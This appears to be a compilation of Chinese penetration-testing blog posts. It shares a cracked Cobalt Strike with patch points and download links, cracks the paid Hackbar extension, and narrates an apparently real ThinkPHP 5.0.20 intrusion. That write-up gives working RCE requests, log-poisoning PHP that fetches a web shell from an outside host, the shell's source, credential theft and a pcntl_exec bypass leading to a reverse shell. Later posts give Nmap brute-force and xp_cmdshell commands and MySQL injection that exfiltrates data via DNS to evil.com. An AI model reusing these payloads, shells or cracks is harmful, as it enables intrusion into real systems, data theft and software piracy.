CobaltStrike3.14破解 安全工具
本文章向大家介绍CobaltStrike3.14破解,主要包括CobaltStrike3.14破解使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
简单的介绍(copy):
Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。本期“安仔课堂”,ISEC实验室的陈老师带大家实战操作Cobalt Strike神器的使用。
最近有小伙伴问我要cobalt strike 3.14的版本,之前国际友人给了我3.14的Trial版但是一直没破解,正好破解了分享给大家。关于破解方法网上有很多不再多说,这里仅指出需要修改的文件。
关键文件:
去除试用限制:common/License.class
去除端口限制:aggressor/dialogs/ListenerDialog.class
程序逻辑:common/Authorization.class、dns/QuickSecurity.class
Xor编码逻辑:common/ArtifactUtils.class、encoders/XorEncoder.class
添加Xor.bin:resources/xor.bin、resources/xor64.bin
后门指纹:
server/ProfileEdits.class
Common/BaseArtifactUtils.class
Common/ListenerConfig.class
去除空格后门:common/WebTransforms.class
关于这个空格后门,本来是无意间想到然后瞅了一眼,发现3.14版本的竟然还有,官方不是说3.13版本就修复了么。
3.14版本空格后门存在的位置:
备份下载地址:https://github.com/Mr-xn/cobaltstrike-cracked
由于GayHub屏蔽了,故上传网盘:https://mir.cr/M47IQMCE , https://www.solidfiles.com/v/3PB26YqyrNvdL
原版试用下载地址:https://mir.cr/6MKQCOR2
原文地址:https://bithack.io/forum/310
某站禁用各种函数情况下的 Thinkphp5.x 绕过 Getshell 渗透测试
ThinkPHP 的站,且存在 ThinkPHP 5.0.x 远程命令执行漏洞,并且开了 debug 模式,但是⽬标用的是ThinkPHP5.0.20,⼀开始⽤网络上的 poc 打怎么都不成功。
第一个问题是,目标 PHP 禁⽤了命令执行的函数,比如执行 system 提示 disabled:
不过看起来文件函数没有禁用,⽐如 file_get_contents 没有报 disabled:
但是还有第⼆个问题,就是 tp 5.0.20 和 5.0.23 版本的代码有点区别,⽤网络上流传的 poc 打过去,始终提示要执行的函数参数为 null。
所以我又本地搭了 5.0.20 版本的 tp 进行调试,最后发现 poc 改成下 ⾯这样就可以成功利用:
POST /public/index.php?s=captcha HTTP/1.1 Host: 192.168.66.12 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0)Gecko/20100101 Firefox/64.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh,en-US;q=0.8,en;q=0.5,zh-SG;q=0.3 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 81aaa=id&_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=POST
POST /public/index.php?s=captcha&aaa=id HTTP/1.1 Host: 192.168.66.12 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0)Gecko/20100101 Firefox/64.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh,en-US;q=0.8,en;q=0.5,zh-SG;q=0.3 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 73_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=xxx
ok,本地测试是成功了,再回到目标站,由于目标站似乎对一些命令执行的函数有禁用,再加上这个 tp这个漏洞:
1.函数执行结果不会直接回显
2.限制了函数执行参数只能为一个 导致⼀开始一直卡壳。
后来想了想,由于前⾯测试从 debug 信息来看,好像没有禁⽌文件操作的函数,再加上 tp 本身就有用到文件读写的操作,所以⽂件读写操作肯定是能用的。
file_get_contents 函数可以执行,但这里不会输出函数执行的结果, file_put_contents 函数⼜要两个参数,include 又不是函数⽽没法在这里调用,所以感觉还是得先从 tp 框架里找现成的危险操作函数来⽤。
于是找到 __include_file :
__include_file 是在漏洞点可以直接调用的函数,⽽且封装了文件包含操作,所以能⽤它去读⽬标服务器上的⽂件了:
由于是⽂件包含的操作,所以我想到了通过在 url 里包含恶意代码,利用请求报错记录到 tp ⾃己的⽇志里,然后包含日志来执行任意代码(当然这里不包括禁用函数)。
先本地测试一下可⾏性: 构造请求往 tp ⽇志里插入恶意代码字符:
<?=file_put_contents('./filemanager.php',file_get_contents('https://0edf7639.w1n.pw/filemanager.php'));?>
代码插⼊日志成功:
然后包含日志文件,成功执行恶意代码,往 public ⽬录下写入了一个恶意 php ⽂件:
为了了适应⽬标网站的沙盒,这里预备写的恶意⽂件实际上是个纯⽂件管理 shell,只能执行⽂件相关的 操作(读写文件、创建目录、删文件⽬录等)。 临时写的,⾮常简陋,源码在如下:
<?php $mode = $_REQUEST['mode']; if (strtoupper($mode) == 'READ') { $path = $_REQUEST['filename']; if (is_dir($path)) { $filenames = scandir($path); printf("Files of $path :\r\n\r\n"); foreach ($filenames as $filename) { if (is_dir($path . DIRECTORY_SEPARATOR . $filename)) { printf("% -65s [dir]\r\n", $filename); } else { printf("% -70s\r\n", $filename); } } } else { $filecontent = file_get_contents($path); echo $filecontent; } } elseif (strtoupper($mode) == 'WRITE') { $filename = $_REQUEST['filename']; $content = $_REQUEST['content']; if (file_put_contents($filename, $content)) { echo 'write success.'; } else { echo 'write fail.'; } } elseif (strtoupper($mode) == 'MKDIR') { $dir = $_REQUEST['dir']; if (mkdir($dir)) { echo 'mkdir success.'; } else { echo 'mkdir fail.'; } } elseif (strtoupper($mode) == 'RM') { $filename = $_REQUEST['filename']; if (is_file($filename)) { if (unlink($filename)) { echo 'rm file success.'; } else { echo 'rm file fail.'; } } elseif (is_dir($filename)) { if (rmdir($filename)) { echo 'rm dir success.'; } else { echo 'rm dir fail'; } } else { echo 'unknown error, file may not exist.'; } } else { echo "wrong mode."; }
于是当我本地测试没问题后,再准备在目标上测试时,发现竟然连 web 目录写文件的权限都没有:
好吧,权限也限制地比较死,那就还是往 tp ⽇志⽬目录下写文件吧(由于前面写过的日志代码执⾏失败导致后续写入的代码不会执行,所以又等到第二天生成新的⽇志⽂件再来包含): 通过 url 写⼊日志的代码:
<?=file_put_contents('../runtime/log/201901/00.log',file_get_contents('https://0edf7639.w1n.pw/filemanager.php'));?>
然后通过文件包含来执行我们的纯⽂件管理 shell,⽐如列出当前目录:
通过读 application ⽬录下的 database.php,拿到了数据库的账号密码:
⽬标虽然用了 cdn,但是通过 file_get_contents 往外发⼀一个请求,就可以确定真实 ip,对真实 ip 扫 描,发现开 了了 3306 端⼝,所以试了下读出来的账号密码,直接连上去了:
由于目标还对外开了 ssh 端口,所以又试着翻了下服务器上的⽂件,试图找到账号密码直接 ssh 连上去,简单查找后未果。
思路重新回到目标 php 环境的禁⽤用函数上来。
由于现在我通过写⼊的文件管理 shell 和任意⽂件包含, 已经能执行除了禁用函数外的任意 php 代码,不过之前没怎么搞过 php 沙盒逃逸或禁用函数绕过之类的,于是请教了p师傅来做了下这方面的指导。
先看了 php info,但 php info 里没有什么关于禁用函数方⾯有价值的信息:
所以试试执⾏:
<?phpvar_dump(ini_get('disable_functions'));
passthru exec system chroot chgrp chown shell_exec popen ini_alter ini_restore dl openlog syslog readlink symlink popepassthru
黑名单过滤,可以用 pcntl_exec 来绕过。 再利用前面写入的⽂件管理 shell 往 /tmp/ ⽬录下写一个 sh脚本,即要执行的命令:
#!/bin/bash id > /tmp/success
再来执行 PHP 代码:
<?php switch (pcntl_fork()) { case 0: pcntl_exec('/bin/bash', ['/tmp/exec.sh']); exit(0); default: break; }
如果命令执行成功, id 命令的结果会保存在 /tmp/success 下,于是尝试读取:
最后重复上述步骤,改成执行反弹 shell 的命令:
文章作者:露娜是真的秀 地址:https://wsrc.weibo.com/load_detail_article/70
hackbar破解——firefox hackbar 收费版破解 安全工具
Hackbar作为网络安全学习者常备的工具,也是渗透测试 中搭配Firefox必不可少的黑客工具,但是最新版也开始收费了,一个月3刀,6个月5刀,1年9刀,虽然费用不贵,还是动动手。
But, Firefox 和 Chrome 的插件有点不一样,firefox 的插件必须是经过签名过的,才能加载到浏览器。修改插件里的任何一个字符都会导致签名失效。
非签名的只能通过临时加载插件的方式,加载到浏览器里面。
后面介绍chrome下直接修改代码实现破解,这里先说Firefox下目前的两个替代方案:
方案一:
使用没升级前的hackbar,升级完的是2.2.2版本,找到一个2.1.3版本,没有收费代码,可以直接加载使用。
hackbar2.1.3版本:https://github.com/Mr-xn/hackbar2.1.3
使用方法:打开firefox的插件目录
然后点 "从文件安装附加组件"
加载{4c98c9c7-fc13-4622-b08a-a18923469c1c}.xpi 即可
但是,切记!!!切记!!!切记!!!
一定记住要关闭插件的自动更新!!!,否则浏览器会自动更新插件到收费版本!!!
方案二:
在火狐扩展组件商店搜索 “Max hackbar” 地址:https://addons.mozilla.org/zh-CN/firefox/search/?q=max%20hackbar&platform=WINNT&appver=66.0.5
基本上可以替代hackbar
下面说一下是直接修改chrome浏览器下的hackbar插件源码
以达到破解的目的:
打开Chrome插件列表,查看Hackbar的插件ID:djmoeo…… ,在文件搜索里搜这段字符,我这里用的是Everything。
用文本编辑器打开这个文件夹下的 2.2.2\theme\js\hackbar-panel.js 文件
在hackbar-panel.js 的第35、40、43行左右的disable_hackbar(); 注释掉,同时添加一行init(); 然后Ctrl+S保存文件。
再打开F12 看看,可以用了。
附件:hackbar2.1.3:
在Web渗透测试中,如何快速识别目标站所使用的应用程序类别---cms指纹识别哪家强 技术文章
前言:
在Web渗透测试当中的信息收集环节,对于目标站的指纹收集是很重要的一个环节,同时收集的指纹准确与否在很大程度上对我们渗透测试的快慢和结果有着莫大的关系,今天我就我日常使用的cms识别方法、国内外的常见的公开的在线cms指纹识别网站、和开源/闭源工具以及一些扫描器等方面来说一下如何在web渗透测试实战中快速的判断出目标站所使用的程序类型。
注:以下测试排名不分前后,其中也包括我自己的一些手动测试方法!
首先说一下针对我国的基本国情来说,因为GFW的存在,国外的在线网站cms指纹识别几乎对国内的CMS识别不出来的!故我主要讲国内的几个流行的cms指纹识别网站。
一:
名称:云悉WEB资产梳理|在线CMS指纹识别平台
官网:http://www.yunsee.cn/
简介:云悉安全专注于网络资产自动化梳理,cms检测web指纹识别,让网络资产更清晰。
简评:国内后起之秀,目前指纹特征量:6394,云溪比较全面,在识别指纹的同时会收集操作系统,服务器,web容器,数据库,程序语言等基本web信息;域名信息:备案单位,邮箱,域名所有者,备案号,DNS,域名注册商;ip信息:IDC,IP(支持查看同IP域名网站,同网段IP及域名---即C段查询);常见子域名挖掘等功能模块,支持API调用,不过需要你提供指纹申请,通过了后会发放邀请码,注册就可以使用。PS:单独的指纹识别还支持CDN,WAF识别。
下图所示为我测试一个网站的时候用云溪识别的,但是没有识别出来,我用第二个即将介绍的识别出来了,第三种也没有识别出来,最后介绍手工判断出来的方法。
二:
名称:bugscaner博客出品,在线指纹识别,在线cms识别小插件--在线工具
官网:http://whatweb.bugscaner.com/look/
简介:一款简洁快速的在线指纹,网站源码识别工具,目前已支持2000多种cms的识别!
简评:这个是bugscaner博主自己写的线上工具,出来的时间也比较久了,速度比较快!支持种类多,支持批量cms识别(每次最多100个,一天1000次)支持API接口,支持同IP网站查询,ICP备案查询等功能,博主最近又更新了这个工具,增加了几百种源码正则,增加了对https网址的识别,增加批量cms识别,重新优化了识别代码,减去了大部分命中率低的path路径,识别速度更快,增加通过查询历史,来统计互联网常见的cms建站系统所占使用比例,哪些cms最受欢迎,结果仅供参考,并不准确(仅通过历史查询计算);
下图就是刚刚云溪没有识别到的,但是在这里秒识别!
三:
名称:TideFinger 潮汐指纹
官网:http://finger.tidesec.net/
简介:Tide 安全团队(山东新潮信息技术有限公司)出品的开源cms指纹识别工具
简评:开源!但是只是后端开源,如果有需求做成web版的,需要自己又板砖实力,自己搭建前端。详细的介绍,cms指纹识别相关技术实现细节,后端源码等等在GitHub,地址:https://github.com/TideSec/TideFinger
下图是同上两个图一样的网站识别结果,但是等了好久cms信息一直在转圈,也没有结果。。。但是其他的像网站标题,Banner,IP地址,CDN信息,操作系统,其他的信息显示还是很快的。
四:
手工判断cms类型:
下图所示是同上面三个在线cms指纹识别网站的同一个域名,通过简单的手工也可以快速识别处cms类型,看图,我们可以通过更改目标url的参数名或者参数值来进行fuzz测试,往往会有意想不到的记结果!这也是fuzz这门技术的魅力所在!
通常fuzz除了一些专门的工具:
https://github.com/xmendez/wfuzz
https://github.com/google/oss-fuzz
fuzz相关文章介绍:
https://github.com/wcventure/FuzzingPaper
https://www.zhihu.com/question/28303982
https://zhuanlan.zhihu.com/p/43432370
我还推荐使用burpsuite配合这些工具或者是burp插件来进行fuzz测试,也很顺手!相关burpsuite汉化、burpsuite破解可以在博客搜索burp关键词查看相关文章。
五:
借助扫描器,特别是DIR扫描器这些,比如御剑,Arachni,XssPy,w3af,Nikto,OWASP ZAP,Grabber,Nmap,Netsparker,Acunetix.Web.Vulnerability.Scanner(AWS)等工具进行扫描,同时也可以使用类似JavaScript源码提取分析工具,往往能从JavaScript源码当中发现一些隐藏的子域名,文件内容等等。
六:
国外在线cms指纹识别网站:
https://whatcms.org
http://cmsdetect.com/
https://itrack.ru/whatcms/
不过由于你懂的原因,对于国内程序识别不怎么友好。
Scanning is art - Nmap 扫描的艺术之常见的基本操作 技术文章
Nmap --- 软件名字Nmap是Network Mapper的简称,是渗透测试过程中必不可少的黑客工具之一,其他的更多的介绍请前往官网:https://nmap.org/ 或者是维基百科查看:https://zh.wikipedia.org/wiki/Nmap。在渗透测试中,如果我们在 WEB 应用层没有找到有用的信息,那么此时 Nmap 就派上用场了,利用它我们可以对单个目标主机或者是目标群进行扫描以此来获取基于 IP 的服务器主机信息,这也是信息刺探中的一部分,不过在实际渗透测试中,如果我们在 WEB 应用层找打了可以利用的点并且可以进一步获得权限足够大的时候我们就可以暂时不需要使用 Nmap ,转而在后期需要提权或者是横向移动的时候我们再使用它。这篇文章主要是将在使用 Nmap 的日常使用中的一些基本操作,还有些骚操作,暂时不多(主要是博主太菜了,哈哈哈哈,欢迎有骚姿势的朋友分享
下载地址:https://nmap.org/download.html
Github 项目主页地址:https://github.com/nmap/nmap
Nmap渗透测试思维导图(高清大图):我的 GitHub 仓库地址
我4年前还搞过CHM的手册:Nmap手册
初识Nmap
Nmap是被专业人员广泛使用的一款功能全面的端口扫描工具。它由Fyodor编写并维护。由 于Nmap品质卓越,使用灵活,它已经是渗透测试人员必备的工具。
除了端口扫描外,Nmap还具备如下功能:
主机探测:Nmap可査找目标网络中的在线主机。默认情况下,Nmap通过4种方式—— ICMP echo请求(ping)、向443端口发送TCP、SYN 包、向80端口发送TCP、ACK 包和 ICMP 时间戳请求——发现目标主机。 服务/版本检测:在发现开放端口后,Nmap可进一步检查目标主机的检测服务协议、应用 程序名称、版本号等信息。 操作系统检测:Nmap 向远程主机发送一系列数据包,并能够将远程主机的响应与操作系统 指纹数据库进行比较。如果发现了匹配结果,它就会显示匹配的操作系统。它确实可能无法 识别目标主机的操作系统;在这种情况下,如果您知道目标系统上使用的何种操作系统,可 在它提供的URL里提交有关信息,更新它的操作系统指纹数据库。 网络路由跟踪:它通过多种协议访问目标主机的不同端口,以尽可能访问目标主机。Nmap 路由跟踪功能从TTL的高值开始测试,逐步递减TTL,直到它到零为止。 Nmap脚本引擎:这个功能扩充了Nmap的用途。如果您要使用Nmap实现它(在默认情况 下)没有的检测功能,可利用它的脚本引擎手写一个检测脚本。目前,Nmap可检査网络服务 的漏洞,还可以枚举目标系统的资源。
安装Nmap
nmap的安装很简单,Windows的话直接去官网下载安装包直接安装就行了->下载链接
kali已经自带了nmap,centos如果没有安装的话,yum install nmap
就直接安装了
入门Nmap
刚开始使用的时候可能会因为信息量太大无从下手,最简单的使用就是nmap your-ip(域名)
就可以扫描出其对外开放的服务。
root@kali:~# nmap 192.168.31.13
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-12 23:02 CST
Nmap scan report for 192.168.31.13
Host is up (0.00038s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
8080/tcp open http-proxy
10010/tcp open rxapi
MAC Address: 00:0C:29:99:D3:E6 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
可以看出只开放了8080端口和10010端口
nmap -p 端口 IP(域名),判断ip是否开放指定端口
root@kali:~# nmap -p 8080 192.168.31.13 Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-12 23:05 CST Nmap scan report for 192.168.31.13 Host is up (0.00045s latency). PORT STATE SERVICE 8080/tcp open http-proxy MAC Address: 00:0C:29:99:D3:E6 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.36 secondsroot@kali:~# nmap -p 80 192.168.31.13 Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-12 23:05 CST Nmap scan report for 192.168.31.13 Host is up (0.00049s latency). PORT STATE SERVICE 80/tcp closed http MAC Address: 00:0C:29:99:D3:E6 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds |
可以看出8080端口开放,80端口没有开放
也可以增加端口和网段 :
nmap -p 22,21,80 192.168.31.13
nmap -p 22,21,80 192.168.31.1-253
nmap 192.168.31.1/24 扫描整个子网(整个C段)的端口 ,这个过程可能会比较久
进阶Nmap
在继续讲之前,先介绍一下Nmap可以识别出的6种端口状态,默认情况下,Nmap会扫描1660个常用的端口,可以覆盖大多数基本应用情况。
常用选项
1.服务版本识别(-sV),Nmap可以在进行端口扫描的时候检测服务端软件的版本信息。版本信息将使后续的漏 洞识别工作更有针对性。
2.操作系统检测(-O),Nmap还能识别目标主机的操作系统。
3.禁用主机检测(-Pn),如果主机屏蔽了ping请求,Nmap可能会认为该主机没有开机。这将使得Nmap无法进行进一 步检测,比如端口扫描、服务版本识别和操作系统识别等探测工作。为了克服这一问题,就 需要禁用Nmap的主机检测功能。在指定这个选项之后,Nmap会认为目标主机已经开机并会 进行全套的检测工作
4.强力检测选项(-A),启用-A选项之后,Nmap将检测目标主机的下述信息
服务版本识别(-sV);
操作系统识别(-O);
脚本扫描(-sC);
Traceroute(–traceroute)。
TCP扫描选项
1.TCP连接扫描(-sT):指定这个选项后,程序将和目标主机的每个端口都进行完整的三次 握手。如果成功建立连接,则判定该端口是开放端口。由于在检测每个端口时都需要进行三 次握手,所以这种扫描方式比较慢,而且扫描行为很可能被目标主机记录下来。如果启动 Nmap的用户的权限不足,那么默认情况下Nmap程序将以这种模式进行扫描。
2.SYN扫描(-sS):该选项也称为半开连接或者SYN stealth。采用该选项后,Nmap将使用 含有SYN标志位的数据包进行端口探测。如果目标主机回复了SYN/ACK包,则说明该端口处 于开放状态:如果回复的是RST/ACK包,则说明这个端口处于关闭状态;如果没有任何响应 或者发送了ICMP unreachable信息,则可认为这个端口被屏蔽了。SYN模式的扫描速度非常 好。而且由于这种模式不会进行三次握手,所以是一种十分隐蔽的扫描方式。如果启动Nmap 的用户有高级别权限,那么在默认情况下Nmap程序将以这种模式进行扫描。
3.TCP NULL(-sN)、FIN(-sF)及XMAS(-sX)扫描:NULL 扫描不设置任何控制位; FIN扫描仅设置FIN标志位:XMAS扫描设置FIN、PSH和URG的标识位。如果目标主机返回 了含有RST标识位的响应数据,则说明该端口处于关闭状态;如果目标主机没有任何回应, 则该端口处于打开|过滤状态。
4.TCP Maimon扫描(-sM):Uriel Maimon 首先发现了TCP Maimom扫描方式。这种模式的 探测数据包含有FIN/ACK标识。对于BSD衍生出来的各种操作系统来说,如果被测端口处于 开放状态,主机将会丢弃这种探测数据包;如果被测端口处于关闭状态,那么主机将会回复 RST。
5.TCPACK扫描(-sA):这种扫描模式可以检测目标系统是否采用了数据包状态监测技术 (stateful)防火墙,并能确定哪些端口被防火墙屏蔽。这种类型的数据包只有一个ACK标识 位。如果目标主机的回复中含有RST标识,则说明目标主机没有被过滤。
6.TCP窗口扫描(-sW):这种扫描方式检测目标返回的RST数据包的TCP窗口字段。如果目 标端口处于开放状态,这个字段的值将是正值;否则它的值应当是0。
7.TCP Idle扫描(-sI):采用这种技术后,您将通过指定的僵尸主机发送扫描数据包。本机 并不与目标主机直接通信。如果对方网络里有IDS,IDS将认为发起扫描的主机是僵尸主机。
UDP扫描选项
Nmap有多种TCP扫描方式,而UDP扫描仅有一种扫描方式(-sU)。虽然UDP扫描结果没有 TCP扫描结果的可靠度高,但渗透测试人员不能因此而轻视UDP扫描,毕竟UDP端口代表着 可能会有价值的服务端程序。但是UDP扫描的最大问题是性能问题。由干Linux内核限制1秒内最多发送一次ICMP Port Unreachable信息。按照这个速度,对一台主机的65536个UDP端口进行完整扫描,总耗时必 定会超过18个小时。
优化方法主要是:
1.进行并发的UDP扫描; 2.优先扫描常用端口; 3.在防火墙后面扫描; 4.启用--host-timeout选项以跳过响应过慢的主机。 |
假如我们需要找到目标主机开放了哪些 UDP端口。为提高扫描速度,我们仅扫描 53端口 (DNS)和161端口(SNMP)。
可以使用命令nmap -sU 192.168.56.103 -p 53,161
目标端口选项
默认情况下,Nmap将从每个协议的常用端口中随机选择1000个端口进行扫描。其nmapservices文件对端口的命中率进行了排名。
可以自定义端口参数:
-p端口范围:只扫描指定的端口。扫描1〜1024号端口,可设定该选项为–p 1-1024。扫描1 〜65535端口时,可使用-p-选项。 -F(快速扫描):将仅扫描100 个常用端口。 -r(顺序扫描):指定这个选项后,程序将从按照从小到大的顺序扫描端口。 -top-ports :扫描nmap-services 里排名前N的端口。 |
输出选项
Nmap可以把扫描结果保存为外部文件。在需要使用其他工具处理Nmap的扫描结果时,这一 功能十分有用。即使您设定程序把扫描结果保存为文件,Nmap还是会在屏幕上显示扫描结果。
时间排程控制选项
Nmap可通过-T选项指定时间排程控制的模式。它有6种扫描模式。
paranoid(0):每5分钟发送一次数据包,且不会以并行方式同时发送多组数据。这种模式 的扫描不会被IDS检测到。
sneaky(1):每隔15秒发送一个数据包,且不会以并行方式同时发送多组数据。
polite(2):每0.4 秒发送一个数据包,且不会以并行方式同时发送多组数据。
normal(3):此模式同时向多个目标发送多个数据包,为 Nmap 默认的模式,该模式能自 动在扫描时间和网络负载之间进行平衡。
aggressive(4):在这种模式下,Nmap 对每个既定的主机只扫描5 分钟,然后扫描下一 台主机。它等待响应的时间不超过1.25秒。
insane(5):在这种模式下,Nmap 对每个既定的主机仅扫描75 秒,然后扫描下一台主 机。它等待响应的时间不超过0.3秒。
默认的扫描模式通常都没有问题。除非您想要进行更隐匿或更快速的扫 描,否则没有必要调整这一选项。
扫描IPv6主机
启用Nmap的-6选项即可扫描IPv6的目标主机。当前,只能逐个指定目标主机的IPv6地址。
nmap -6 fe80::a00:27ff:fe43:1518 |
同一台主机在IPv6网络里开放的端口比它在IPv4网络里开放的端口数量要 少。这是因为部分服务程序尚未支持IPv6网络。
脚本引擎功能(Nmap Scripting Engine,NSE)
最后但是同样重要的,Nmap本身已经很强大了,但是加上它的脚本引擎更加开挂了,NSE 可使用户的各种网络检査工作更为自动化,有助于识别应 用程序中新发现的漏洞、检测程序版本等Nmap原本不具有的功能。虽然Nmap软件包具有各 种功能的脚本,但是为了满足用户的特定需求,它还支持用户撰写自定义脚本。
规避检测的选项
在渗透测试的工作中,目标主机通常处于防火墙或 IDS 系统的保护之中。在这种环境中使用 Nmap 的默认选项进行扫描,不仅会被发现,而且往往一无所获。此时,我们就要使用Nmap 规避检测的有关选项。
nmap -sV -sT -Pn --open -v 192.168.3.23 //扫描常见端口服务 nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.* nmap --script=auth 192.168.0.1 //对目标或网段进行应用弱口令检测 nmap --script=brute 192.168.0.105 //对数据库、smb、snmp进行简单密码暴力猜解 nmap --script=vuln 192.168.0.1//检测常见漏洞 nmap --script=realvnc-auth-bypass 192.168.0.0 //扫描vnc服务 可扫mysql、telnet、Rsync nmap -n -p 445 --script=broadcast 192.168.0.1 //探测局域网更多服务 nmap --script external.baidu.com //whois解析 nmap --script external 202.103.243.110 //跟whois解析同样的效果 nmap --script=realvnc-auth-bypass 192.168.137.4 //检查vnc bypass 检查vnc认证方式 nmap --script=vnc-auth 192.168.137.4 获取vnc信息 nmap --script=vnc-info 192.168.137.4 smb破解 nmap --script=smb-brute.nse 192.168.137.4 smb字典破解 nmap --script=smb-brute.nse --script-args=userdb=/var/passwd,passdb=/var/passwd192.168.137.4 smb已知几个严重漏洞 nmap --script=smb-check-vulns.nse --script-args=unsafe=1 192.168.137.4 nmap -p 445 --script smb-ls--script-args ‘share=e$,path=\,smbuser=test,smbpass=test’ 192.168.137.4 查看共享目录 查询主机一些敏感信息(注:需要下载nmap_service) nmap -p 445 -n –script=smb-psexec --script-args= smbuser=test,smbpass=test192.168.137.4 nmap -n -p445 --script=smb-enum-sessions.nse --script-args=smbuser=test,smbpass=test192.168.137.4 查看会话 系统信息nmap -n -p445 --script=smb-os-discovery.nse --script-args=smbuser=test,smbpass=test192.168.137.4 猜解mssql用户名和密码 nmap -p1433 --script=ms-sql-brute --script-args=userdb=/var/passwd,passdb=/var/passwd192.168.137.4 xp_cmdshell 执行命令 nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user" 192.168.137.4 dumphash值 nmap -p 1433 --script ms-sql-dump-hashes.nse --script-args mssql.username=sa,mssql.password=sa 192.168.137.4 Mysql扫描: nmap -p3306 --script=mysql-empty-password.nse 192.168.137.4 扫描root空口令 列出所有mysql用户 nmap -p3306 --script=mysql-users.nse --script-args=mysqluser=root 192.168.137.4 支持同一应用的所有脚本扫描 nmap --script=mysql-* 192.168.137.4 Oracle扫描: oracle sid扫描 nmap --script=oracle-sid-brute -p 1521-1560 192.168.137PS:Nmap 在实际渗透测试的时候还可以在MSF里面调用配合MSF一起有时候别有用处!
参考资料如下:
Nmap 官方的在线版 Nmap参考指南(Man Page):https://nmap.org/man/zh/ Github仓库版(网络下载上传)
Nmap 中文域名网站:http://www.nmap.com.cn/doc/manual.shtm
GitBook 在线版 :https://legacy.gitbook.com/book/wizardforcel/nmap-man-page/details
看云在线版:https://www.kancloud.cn/wizardforcel/nmap-man-page/141685
crayon-xin 博客文章:nmap超详细使用指南
GitHub erasin :https://github.com/erasin/notes/blob/master/linux/safe/nmap.md
MySQL注入绕过新思路 渗透测试
哈哈哈哈嘿嘿嘿嘿 今天带来MySQL的新姿势,姿势对不对,你们指教-_-
1.带内/带外
传统的Insert、Update是带内注入方式,直接从返回中提取到有用信息,例如时间盲注获取数据;带外注入则是间接的从外部服务器中提取数据,例如使用DNSLog获取数据。
2.字符串处理
先看看mysql对于字符串的处理,可以看到一个字符串是等于0的。
进一步验证,将字符串和数字加起来。
再看看将字符串和MySQL支持的最大值加起来的结果。
可以看到,字符串返回的是DOUBLE数字,而将一个大值和一个DOUBLE值相加时,将会返回IEEE标准的DOUBLE精确值。
这时候我们可以通过或操作获取到最大的无符号BIGINT值。
3.字符串数字互转
到这里,我们可以想到一种注入方式,使用数字来传递,需要时再通过解码的方式显示字符串。
例如:
字符串 -> 数字
数字 -> 字符串
但是这里有个问题,前面提到MySQL的最大值,如果超过将不能成功解码,因此一个字符串的最大长度应该是8个字节,例如:
所以,我们可以使用mysql的substr()函数进行切割,例如:
4.编码注入
1)、获取表
select conv(hex(substr((select table_name frominformation_schema.tables where table_schema=schema() limit 0,1),1 + (n‐1) * 8,8*n)), 16, 10);
2、获取列
select conv(hex(substr((select column_name frominformation_schema.columns where table_name='table name' limit 0,1),1 + (n‐1) * 8,8*n)), 16, 10);
3、Insert语句
insert into admin values ('admin', 'password');
insert into admin values ('admin','password'|conv(hex(substr(user(),1 + (n‐1) * 8, 8 * n)),16, 10);
5.使用DNSLog进行带外注入
select load_file(concat('\\\\',(selectdatabase()),'.test.evil.com\\foo'))
select load_file(concat('\\\\',(selectunhex(conv(8245931987826405219, 10, 16))),'.test.evil.com\\foo'))
6.想想绕过防护吧,皮卡丘.哈哈
1)、盲注使用DNS解析进行高效测试
2)、使用MySQL数字与字符串编码关系绕过相关防护
WordPress<4.7.1 远程代码执行漏洞(非插件无需认证,附Poc,演示视频) 渗透测试
漏洞概述
漏洞编号:CVE-2016-10033
漏洞发现者:dawid_golunski
漏洞危害:严重
影响版本:WordPress <4.7.1
漏洞描述:远程攻击者可以利用该漏洞执行代码
漏洞细节
这个漏洞主要是PHPMailer漏洞(CVE-2016-10033)在WordPress Core代码中的体现,该漏洞不需要任何的验证和插件,在默认的配置情况下就可以利用。远程攻击者可以利用该漏洞执行代码。由于该漏洞影响比较大,通过和官方协商,决定推迟更新wordpress漏洞细节。
漏洞代码:
if ( !isset( $from_email ) ) { // Get the site domain and get rid of www. $sitename = strtolower( $_SERVER['SERVER_NAME'] ); if ( substr( $sitename, 0, 4 ) == 'www.' ) { $sitename = substr( $sitename, 4 ); } $from_email = 'wordpress@' . $sitename; } /** * Filters the name to associate with the "from" email address. * * @since 2.3.0 * * @param string $from_name Name associated with the "from" email address. */ $from_name = apply_filters( 'wp_mail_from_name', $from_name ); $phpmailer->setFrom( $from_email, $from_name );
WordPress 根据SERVER_NAME 服务器头设置电子邮件域,当WordPress wp_mail()函数被调用来发送电子邮件时(例如,用户注册,忘记密码等)。可以看到from是这样的:
$from_email = 'wordpress@' . $sitename;
然后将其过滤并传递到PHPMailer的易受攻击的setFrom()函数中,相关细节请回顾:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code -exec-CVE-2016-10033-Vuln.html
注入
可以在Apache的默认配置上操作SERVER_NAME服务器头。Web服务器(最常见的WordPress部署)通过HTTP请求中的HOST头。
